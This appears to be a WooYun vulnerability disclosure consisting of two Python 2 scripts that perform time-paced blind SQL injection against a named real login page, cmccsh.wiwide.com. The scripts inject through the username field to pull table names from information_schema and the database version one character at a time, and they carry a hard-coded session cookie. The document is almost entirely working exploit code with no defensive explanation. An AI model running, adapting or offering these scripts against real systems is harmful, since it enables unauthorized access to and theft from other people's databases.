WooYun.org

#coding: utf-8
#date: 2014/12/18
import requests
import sys
import time
def blind_inject():
	payloads = 'rotabcdefghijklmnpqsuvwxyz0123456789@_.'
	user = ''
	end = 0
	for i in range(1,40):
		if end == 1:
			break
		for j in payloads:
			time.sleep(1)
			headers ={
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
			'Origin': 'http://cmccsh.wiwide.com/login',
			'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
			'Content-Type': 'application/x-www-form-urlencoded',
			'Referer': 'http://cmccsh.wiwide.com/login',
			'Accept-Encoding': 'gzip,deflate,sdch',
			'Accept-Language': 'zh-CN,zh;q=0.8',
			'Cookie': 'JSESSIONID=aBBzLjv2g4je',
			
			} 
			exp = "or ( select (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema=0x616473 limit 0,1)=%d)"%(i,ord(j))
			url = "http://cmccsh.wiwide.com/login"
			data = 	"username=admin' %s #&pwd=1&login=1"%(exp)
			mark = 1
			r = requests.post(url, data, headers=headers, allow_redirects=False)
			
			find = (len(r.text)<10)
			while r.status_code !=200 and find == False:
				r = requests.get(url)
					
			if find:
						
				user = user+j
				print '\n[*]Guessing ' + user,
						#print data
						#print r.text
				time.sleep(1)
				break
			else:
				print '.',
		if not user[::-1].startswith(j):
			end = 1
	print '\n',user
def run():
	blind_inject()
if __name__ == '__main__':
	run()

#coding: utf-8
#date: 2014/12/18
import requests
import sys
import time
def blind_inject():
	payloads = 'rotabcdefghijklmnpqsuvwxyz0123456789@_.'
	user = ''
	end = 0
	for i in range(1,40):
		if end == 1:
			break
		for j in payloads:
			time.sleep(1)
			headers ={
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
			'Origin': 'http://cmccsh.wiwide.com/login',
			'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
			'Content-Type': 'application/x-www-form-urlencoded',
			'Referer': 'http://cmccsh.wiwide.com/login',
			'Accept-Encoding': 'gzip,deflate,sdch',
			'Accept-Language': 'zh-CN,zh;q=0.8',
			'Cookie': 'JSESSIONID=aBBzLjv2g4je',
			
			} 
			exp = "or ascii(MID(lower(version()),%d,1))= %s"%(i,ord(j))
			url = "http://cmccsh.wiwide.com/login"
			data = 	"username=admin' %s #&pwd=1&login=1"%(exp)
			mark = 1
			r = requests.post(url, data, headers=headers, allow_redirects=False)
			
			find = (len(r.text)<10)
			while r.status_code !=200 and find == False:
				r = requests.get(url)
					
			if find:
						
				user = user+j
				print '\n[*]Guessing ' + user,
						#print data
						#print r.text
				time.sleep(1)
				break
			else:
				print '.',
		if not user[::-1].startswith(j):
			end = 1
	print '\n',user
def run():
	blind_inject()
if __name__ == '__main__':
	run()